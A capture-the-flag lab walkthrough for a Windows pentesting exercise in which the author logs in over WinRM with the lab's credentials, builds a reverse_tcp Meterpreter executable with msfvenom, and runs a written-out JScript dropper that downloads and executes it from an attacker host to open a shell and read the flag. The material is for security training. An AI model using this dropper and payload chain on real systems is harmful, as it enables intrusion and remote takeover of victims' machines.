

[illegible]

Name	Windows: JScript Meterpreter Dropper
URL	https://attackdefense.com/challengedetails?cid=2395
Type	Basic Exploitation: Pentesting

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Run a Nmap scan against the target IP.

Command: `nmap --top-ports 65535 10.0.16.115`

```
root@attackdefense:~# nmap --top-ports 65535 10.0.16.115
Starting Nmap 7.70 ( https://nmap.org ) at 2021-07-01 14:28 IST
Nmap scan report for 10.0.16.115
Host is up (0.057s latency).
Not shown: 8300 closed ports
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3389/tcp   open  ms-wbt-server
5985/tcp    open  wsman
47001/tcp  open  winrm

Nmap done: 1 IP address (1 host up) scanned in 23.83 seconds
root@attackdefense:~#
```

Step 2: We have discovered that the winrm server is running on port 5985. By default, the WinRM service uses port 5985 for HTTP. We have the credentials to access the remote server, we will run the Linux PowerShell to connect to the remote server via PSSession.

Running PowerShell

Command: pwsh

```
root@attackdefense:~# pwsh
PowerShell 7.0.0
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/powershell
Type 'help' to get help.

PS /root> █
```

We have successfully launched Powershell.

Step 3: Store target server credentials in creds variable.

Command: \$cred = Get-Credential

Also, enter the target server credentials for the connection. administrator:chocolate_123321

```
PS /root> $cred = Get-Credential

PowerShell credential request
Enter your credentials.
User: administrator
Password for user administrator: *****

PS /root> █
```

Connecting to the target server using PSSession.

Commands: Enter-PSSession -ComputerName 10.0.16.115 -Authentication Negotiate
-Credential \$cred

```
PS /root> Enter-PSSession -ComputerName 10.0.16.115 -Authentication Negotiate -Credential $cred
[10.0.16.115]: PS C:\Users\Administrator\Documents>
```

We are successfully connected to the target server. We now have full control of the server.

Step 4: Check the IP configuration information on the remote server.

Command: ipconfig /all

```
[10.0.16.115]: PS C:\Users\Administrator\Documents> ipconfig /all

Windows IP Configuration

Host Name . . . . . : EC2AMAZ-3BQC05U
Primary Dns Suffix . . . . . :
Node Type . . . . . : Hybrid
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
DNS Suffix Search List. . . . . : ap-southeast-1.ec2-utilities.amazonaws.com
                                   ap-southeast-1.compute.internal

Ethernet adapter Ethernet:

Connection-specific DNS Suffix . : ap-southeast-1.compute.internal
Description . . . . . : AWS PV Network Device #0
Physical Address. . . . . : 06-2A-F1-D9-CA-22
DHCP Enabled. . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::5d96:aead:a968:c0f2%4(Preferred)
IPv4 Address. . . . . : 10.0.16.115(Preferred)
Subnet Mask . . . . . : 255.255.240.0
Lease Obtained. . . . . : Thursday, July 1, 2021 8:52:53 AM
Lease Expires . . . . . : Thursday, July 1, 2021 9:52:52 AM
Default Gateway . . . . . : 10.0.16.1
DHCP Server . . . . . : 10.0.16.1
DHCPv6 IAID . . . . . : 118418632
DHCPv6 Client DUID. . . . . : 00-01-00-01-28-6F-3A-BC-06-2A-F1-D9-CA-22
DNS Servers . . . . . : 10.0.0.2
NetBIOS over Tcpip. . . . . : Enabled
[10.0.16.115]: PS C:\Users\Administrator\Documents>
```

Step 5: We will be running the JScript on the target machine using the wscript.exe utility to gain the meterpreter shell on the attacker machine.

Step 6: First, generating a malicious executable using msfvenom

Command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.2 LPORT=443 -f exe > backdoor.exe

```
root@attackdefense:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.2 LPORT=443 -f exe > backdoor.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
```

Step 7: Create a file i.e code.js and place malicious JScript in it.

The below script would download the malicious executable from the attacker's machine and save it on the disk. Then it is running the executable, in the result, we are getting a meterpreter shell.

Malicious JScript.

```
var url = "http://10.10.15.2/backdoor.exe"

var Object = WScript.CreateObject('MSXML2.XMLHTTP');

Object.Open('GET', url, false);

Object.Send();

if (Object.Status == 200)
{
    var Stream = WScript.CreateObject('ADODB.Stream');
    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.Position = 0;
    Stream.SaveToFile("backdoor.exe", 2);
    Stream.Close();
}

var r = new ActiveXObject("WScript.Shell").Run("backdoor.exe");
```

Note: Remember to replace the valid attacker machine IP address in your case.

```
var url = "http://10.10.15.2/backdoor.exe"

var Object = WScript.CreateObject('MSXML2.XMLHTTP');

Object.Open('GET', url, false);

Object.Send();

if (Object.Status == 200)
{
    var Stream = WScript.CreateObject('ADODB.Stream');
    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.Position = 0;
    Stream.SaveToFile("backdoor.exe", 2);
    Stream.Close();
}

var r = new ActiveXObject("WScript.Shell").Run("backdoor.exe");
```

Step 8: Running Python HTTP server to serve the **code.js** and **backdoor.exe** files.

Command: python -m SimpleHTTPServer 80

```
root@attackdefense:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

Step 9: Upload code.js file on the target machine.

Commands: cd /

iwr -UseBasicParsing -Uri 'http://10.10.15.2/code.js' -OutFile 'C:\Users\Public\code.js'

ls C:\Users\Public


```
[10.0.16.115]: PS C:\Users\Administrator\Documents> cd /
[10.0.16.115]: PS C:\> iwr -UseBasicParsing -Uri 'http://10.10.15.2/code.js' -OutFile 'C:\Users\Public\code.js'
[10.0.16.115]: PS C:\> ls C:\Users\Public

Directory: C:\Users\Public

Mode                LastWriteTime         Length Name
----                -
d-r---           11/14/2018   4:10 PM      Documents
d-r---           9/15/2018   7:19 AM      Downloads
d-r---           9/15/2018   7:19 AM      Music
d-r---           9/15/2018   7:19 AM      Pictures
d-r---           9/15/2018   7:19 AM      Videos
-a----           7/1/2021   9:07 AM        451 code.js

[10.0.16.115]: PS C:\> █
```

Step 10: Start Metasploit multi-handler to receive the meterpreter shell.

Commands: msfconsole -q
 use exploit/multi/handler
 set PAYLOAD windows/meterpreter/reverse_tcp
 set LHOST 10.10.15.2
 set LPORT 443
 exploit

```
root@attackdefense:~# msfconsole -q
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.15.2
LHOST => 10.10.15.2
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.15.2:443
█
```

Step 11: Execute the JScript using the wscript.exe utility.

Command: wscript.exe C:\Users\Public\code.js

```
[10.0.16.115]: PS C:\> wscript.exe C:\Users\Public\code.js  
[10.0.16.115]: PS C:\>
```

We have received a meterpreter shell successfully.

```
root@attackdefense:~# msfconsole -q  
msf5 > use exploit/multi/handler  
[*] Using configured payload generic/shell_reverse_tcp  
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp  
PAYLOAD => windows/meterpreter/reverse_tcp  
msf5 exploit(multi/handler) > set LHOST 10.10.15.2  
LHOST => 10.10.15.2  
msf5 exploit(multi/handler) > set LPORT 443  
LPORT => 443  
msf5 exploit(multi/handler) > exploit  
  
[*] Started reverse TCP handler on 10.10.15.2:443  
[*] Sending stage (176195 bytes) to 10.0.16.115  
[*] Meterpreter session 1 opened (10.10.15.2:443 -> 10.0.16.115:49789) at  
  
meterpreter > █
```

Step 12: Read the flag.

Commands: cd C:\\Users\\Administrator\\Desktop

dir

cat flag.txt


```
meterpreter > cd C:\\Users\\Administrator\\Desktop
meterpreter > dir
Listing: C:\\Users\\Administrator\\Desktop
=====

Mode                Size      Type      Last modified          Name
----                -
100666/rw-rw-rw-   282      fil       2020-10-05 18:50:34 +0530 desktop.ini
100666/rw-rw-rw-    32      fil       2021-06-16 14:22:13 +0530 flag.txt

meterpreter > cat flag.txt
df30cb178eb8e37728f39b3e6551c8demeterpreter > █
```

We have discovered the flag.

Flag: df30cb178eb8e37728f39b3e6551c8de

References

1. Powershell on Linux
(<https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-7>)
2. WScript Code Execution
(<https://www.ired.team/offensive-security-experiments/offensive-security-cheatsheets#wscript-script-code-download-and-execution>)
3. JScript Dropper (<https://khast3x.club/posts/2020-06-27-Cross-Platform-Dropper/>)